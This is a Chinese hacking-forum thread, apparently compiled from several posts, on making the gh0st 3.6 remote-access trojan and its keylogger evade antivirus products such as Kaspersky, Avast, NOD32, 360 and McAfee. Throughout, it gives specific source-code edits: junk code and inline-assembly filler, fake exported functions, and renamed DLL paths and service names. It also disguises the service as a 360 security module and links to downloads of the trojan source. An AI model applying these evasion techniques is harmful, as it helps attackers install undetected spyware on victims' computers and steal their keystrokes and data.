这里有3个教程
vc++6.0对gh0st驱动免杀教程.rar
http://www.heibai.net/download/Soft/Soft_13829.htm
VC编译gh0st教程.rar
http://www.fs2you.com/files/8b0e43ab-5dcd-11dd-8807-0014221b798a/
gh0st源代码修改硬盘锁.rar
http://down.hacker.com.cn/soft/20080607/080607gh0st.rar
gh0st3.6有源码,所以我们可以在源码的基础上做木马的免杀,个人感觉卡巴的免杀最好做。
先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。
编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,具体为什么以及如何配置可以查看网上有关资料,也可以查看DDK和SDK帮助。
首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。
sys免杀
sys重新编译后,增加了输入表的函数(原因未知,有兴趣的朋友可以比较1下) ,顺利通过卡巴、金山、小红伞等杀软。
svchost.dll免杀
1、 MultiByteToWideChar 这个函数的调用上,卡巴就怕花,可以在这个函数前面随便加几句无效语句就可以。
2、 字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同样可以过金山,谁让我们有源码呢。
server免杀
卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。
修改生成的dll
在源程序里查找%s\\%sEx字符串,这个位置就是生成 6to4的地方了,可以改成你想生成的任何的东西。
纯粹想交流,大家可以在这里跟贴,一起讨论。
macfee杀svchost.dll的输出表(ServiceMain)有改过的朋友嘛?
为了便于路过者互相提高一下,我把3.6源代码附件上来,网上多的是,懒人就免搜了^_^
其实先修改SYS文件.黑防有教程,改完后就过全部杀软了,我指的是SYS文件,DLL和EXE文件把基址改一下,就过N多杀软了.
做了这几步,还有瑞星还查杀DLL文件,把DLL文件的大少优化下,加几个输出表.金山杀EXE文件,把入口点改下就过了.麦咖啡还杀DLL文件的ServiceMain,把ServiceMain移动远点就过了.小红伞`NOD还杀输入表,这2个不会改
ServiceMain 函数不能注解掉,如果注解掉后,你的木马在重启系统之前还能正常运行,一旦作为服务在后台运行,下次重启你的机器就很脆弱了。ServiceMain是svchost.dll的关键函数,这个函数本身对我们的gh0st是没有什么作用的,但是可以为系统的其他服务提供支持。
小红伞变态到杀exe的子系统值,有没有方法?
经测试,定位无误,将子系统外的其它数值全部填0,小红伞照杀,移动pe头也不能免杀!
添加垃圾代码的小方法:
垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。
可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。
添加输出表的方法:
有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句:
extern "C" __declspec(dllexport) bool JustTempFun();//声明
……
extern "C" __declspec(dllexport) bool JustTempFun() //实现
{
return false;
}
编译后,输出表就被改变了,有的杀软就可做到代码免杀。
gh0st 红狼远控 自定义过360
主要原因还是经过为什么会出现那个什么6xxx的DLL文件.因为红狼的CoolDiyer大大已经说过.
服务端的生成是随机的....但看来是不完全随机.是根据系统和什么垃圾来随机的吧.具体我也不清楚哈.
嗯.OD载入了.我查个字符串给大家看看就明白了.
这里.
[ %s\%sex.dll ] %s就是所谓的随机.
这里我可以准确的告诉大家是6xxxex.dll
6xx其实就是%s变来的.只要修改%s就可以修改生成出来的是什么DLL了.
嘻嘻.我修改成aaex.dll了...
(不过大家注意ex.dll的ex是不要修改的好.因为修改这个会引起不上线.如果想修改后能上线.要连DLL里面的ex.dll也修改的.这里就不演示了)
360看看.
发现了.看.. 6to4ex.dll 对比一下
%sex.dll
就是 %s 变成了 6to4 而已.
gh0st自定义过360改源码的方法:
install.cpp
文件里面
改
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
这里
wsprintf(strModulePath, "%s\\%whm.clc", strSysDir, lpServiceName);
就行了
这个其实是作者的一个失误
本意是 随机选择服务安装
但是这段函数其实并没有真正随机
至使每次都从6to4这个服务开始
一个简单的解决办法就是 for循环里处理下
添加一行代码
.....
for(ptr = strSubKey; *ptr; ptr = strchr(ptr, 0)+1)
{
if (lstrcmp(ptr,"6to4")==NULL) continue; //添加此行代码
//MessageBox(0,ptr,"调试中 看看这是什么",0);
//////////////////////////////////////////////////////////////////////////
char temp[500];
.....
这样就跳过这个服务了 :)
还有更简单的 下面这行代码 就是个字符串相加 ex.dll 可以随便改
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, ptr);
例如这样改
wsprintf(strModulePath, "%s\\%skill360.dll", strSysDir, ptr);
或者这样改 .. 后缀是什么其实也不重要
wsprintf(strModulePath, "%s\\%skill360.abc", strSysDir, ptr);
%s\\%sex.dll 第一个%s表示路径,第二个%s表示随机文件名,你就把第二个%s直接改为别人字母就行了,改后可以过了360和金山清理的查杀
经测试Gh0st的SYS文件,是通用的2.5-3.5都可以用~
服务名称写 360tray.exe
最后描述信息填:360安全卫士实时保护模块。
360是行为查杀。
GH0ST 源码里怎么加花?
_asm
{
你的花指令
你的花指令
你的花指令
你的花指令
}
ServiceMain 函数 特敏感. 注解掉后,NOD32 瑞星 麦咖啡 都过了.
gh0st0免杀过Avast最新修改
杀软更新真的好快,前2天还不杀呢,刚刚更新了avast杀软再查杀1下,竟然杀install.exe和svchost.dll(也就是杀生成的文件和其中的资源文件),接着做它的源码免杀。
解决方案:
1、svchost.dll的特征码定位在键盘记录KeyboardManager.cpp文件中的SaveInfo(char *lpBuffer)函数。特征字符串%02d/%02d/%02d,也就是我们看到键盘记录的日期,修改之,修改的方法很多,将其改为[%d/%d/%d %d:%d:%d] ,编译即可通过avast杀软。
2、install的特征码定位在“SYSTEM\CurrentControlSet\Services\%s”,对应文件是install.cpp里的InstallService函数,修改大小写,编译即可通过免杀。
没有办法上传附件,对应的代码看看吧,这2处特征码修改编译2进制文件也很简单。
nod32一般查杀函数导出表(不知道是不是这样称呼的,就是用UE打开,可以看到一堆函数的地方),定位被查杀的函数名称,一般会有两个或多个,用loadlibrary装载函数所在的dll文件,然后将函数改个名称再调用,你会改函数名,剩下的应该不难!
最后生成的文件不加壳能过NOD
卡巴有个特点,它的特征码都是以代码为主,所以我们在改特征码时不一定要去改原来的特征码,也可以去修改特征以上的的代码,只要稍微调换一下,就可以起如同加花指令的效果。